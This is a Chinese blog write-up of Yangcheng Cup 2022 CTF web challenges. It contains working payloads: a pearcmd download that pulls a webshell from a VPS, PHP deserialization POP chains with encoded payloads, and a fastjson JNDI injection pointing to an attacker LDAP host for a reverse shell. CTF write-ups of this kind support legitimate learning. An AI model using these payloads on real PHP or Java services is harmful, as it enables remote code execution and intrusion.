当前位置: 首页 > news >正文

羊城杯2022 部分web

WEB

rce_me

 <?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
} 

pearcmd.php文件包含,过滤了常用的几个命令选项,但还有个download。写个马丢到vps上,pear的过滤使用url编码绕过。

/?+download+http://vps:7999/asd.php+&file=/usr/local/lib/php/%70%65%61%72%63%6d%64.php

image-20220904213131253

date -f /flag

step_by_step-v3

本来想着bypass 那个正则的 结果发现flag在phpinfo里面

$a = new cheng();
$b = new bei();
$c = new yang();
$d = new cheng();
$e = new yang();
$d->c1 = $e;
$c->y1 = $d;
$b->b1 = $c;
$a->c1 = $b;

echo (serialize($a));
ans=O%3A5%3A%22cheng%22%3A1%3A%7Bs%3A2%3A%22c1%22%3BO%3A3%3A%22bei%22%3A2%3A%7Bs%3A2%3A%22b1%22%3BO%3A4%3A%22yang%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A5%3A%22cheng%22%3A1%3A%7Bs%3A2%3A%22c1%22%3BO%3A4%3A%22yang%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BN%3B%7D%7D%7Ds%3A2%3A%22b2%22%3BN%3B%7D%7D

image-20220904031553125

?file=php://filter/read=convert.base64-encode//resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/hint.php

image-20220903203512513

image-20220903203524496

读phpinfo的链子,就上面文件包含前一段

$a=new cheng();
$b=new bei();
$c=new yang();
$c->y1="phpinfo";
$a->c1=$b;
$b->b1=$c;
echo serialize($a);

Safepop

去年浙江省大学生省赛原题

Pop链思路为class B -> class A::__get -> class Fun::__call -> class Test::getFlag
image-20220903174941294

Exp:

<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = [new Test,'getFlag'];
    }
}

class Test{
    public function getFlag(){
        //system("cat /flag?");
    }
}

class A{
    public $a;
}

class B{
    public $p;
}

$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$b->p = "c";

echo base64_encode(serialize($b));

为了防止私有属性不可见字符在复制中消失,选择生成base64 再在burp中修改对象属性个数,并urlencode保留不可见字符
image-20220903174952890

Payload:

/?pop=%4f%3a%31%3a%22%42%22%3a%32%3a%7b%73%3a%31%3a%22%70%22%3b%73%3a%31%3a%22%63%22%3b%73%3a%31%3a%22%61%22%3b%4f%3a%31%3a%22%41%22%3a%31%3a%7b%73%3a%31%3a%22%61%22%3b%4f%3a%33%3a%22%46%75%6e%22%3a%32%3a%7b%73%3a%39%3a%22%00%46%75%6e%00%66%75%6e%63%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%34%3a%22%54%65%73%74%22%3a%30%3a%7b%7d%69%3a%31%3b%73%3a%37%3a%22%67%65%74%46%6c%61%67%22%3b%7d%7d%7d%7d

image-20220903170032170

simple_json(复现)

jar包解压反编译看到test那有个测试用例,就是jndi注入了。是用的fastjson去实例化题目自己写的JNDIService类触发。

自己用org.apache.naming.factory.BeanFactory 类打没打成功,没搞明白为啥。使用JNDIInject-1.2-SNAPSHOT.jar这个工具去打高版本利用,用fuzz模块去看看可用的利用链。

{
	"content": {
		"@type": "ycb.simple_json.service.JNDIService",
		"target": "ldap://vps:7999/fuzzbyDNS/w8wlk1.dnslog.cn"
	},
	"msg": {
		"$ref": "$.content.context"
	}
}

image-20220905230928956

用工具给的对应payload源码修改一下命令 生成jar包 然后反弹shell即可

ldap://ip:7999/snakeyaml/http://ip:7777/yaml-payload.jar

MISC

签到

rot13+base32

image-20220903174119682

相关文章:

  • 音视频图像篇 YUV-RGB
  • 【Python 实战基础】Pandas如何从字符串中解析某一数据,并统计多于一次的该数据
  • Bus:消息总线
  • SpringBoot - 用maven-dependency-plugin插件将项目代码与依赖分开打包
  • 一文学会如何使用适配器模式
  • 计算机网络原理 谢希仁(第8版)第四章习题答案
  • Linux入门第三天——linux命令(二)
  • 为什么要在单片机程序中使用结构体和指针
  • ROS1云课→19仿真turtlebot(stage)
  • VL1_四选一多路器(完整RTL、Testbench和覆盖率)
  • 【fiddler学习笔记】——安装、原理、使用
  • Idea无法引入@Test 或@Test引入报错【BUG解决】
  • Java中常见包装类型Integer、BigDecimal等特点说明
  • 渗透测试-apt攻击与防御系列-利用WinRAR跨目录获取Net-NTLM Hash和DLL劫持
  • MySQL的多表查询
  • 【译】React性能工程(下) -- 深入研究React性能调试
  • Docker下部署自己的LNMP工作环境
  • JavaScript函数式编程(一)
  • Laravel 菜鸟晋级之路
  • MySQL用户中的%到底包不包括localhost?
  • Node 版本管理
  • webpack入门学习手记(二)
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • 和 || 运算
  • 精益 React 学习指南 (Lean React)- 1.5 React 与 DOM
  • 你不可错过的前端面试题(一)
  • 七牛云假注销小指南
  • 算法系列——算法入门之递归分而治之思想的实现
  • 吐槽Javascript系列二:数组中的splice和slice方法
  • 小程序button引导用户授权
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • 06-01 点餐小程序前台界面搭建
  • Hibernate主键生成策略及选择
  • 带你开发类似Pokemon Go的AR游戏
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • #pragam once 和 #ifndef 预编译头
  • #微信小程序:微信小程序常见的配置传旨
  • (C语言)求出1,2,5三个数不同个数组合为100的组合个数
  • (八)Spring源码解析:Spring MVC
  • (七)MySQL是如何将LRU链表的使用性能优化到极致的?
  • (七)理解angular中的module和injector,即依赖注入
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • (转)创业家杂志:UCWEB天使第一步
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET Framework 4.6.2改进了WPF和安全性
  • .NET HttpWebRequest、WebClient、HttpClient
  • .Net 知识杂记
  • .net6Api后台+uniapp导出Excel
  • .Net语言中的StringBuilder:入门到精通
  • /dev下添加设备节点的方法步骤(通过device_create)
  • :“Failed to access IIS metabase”解决方法
  • :=
  • @Bean有哪些属性
  • @modelattribute注解用postman测试怎么传参_接口测试之问题挖掘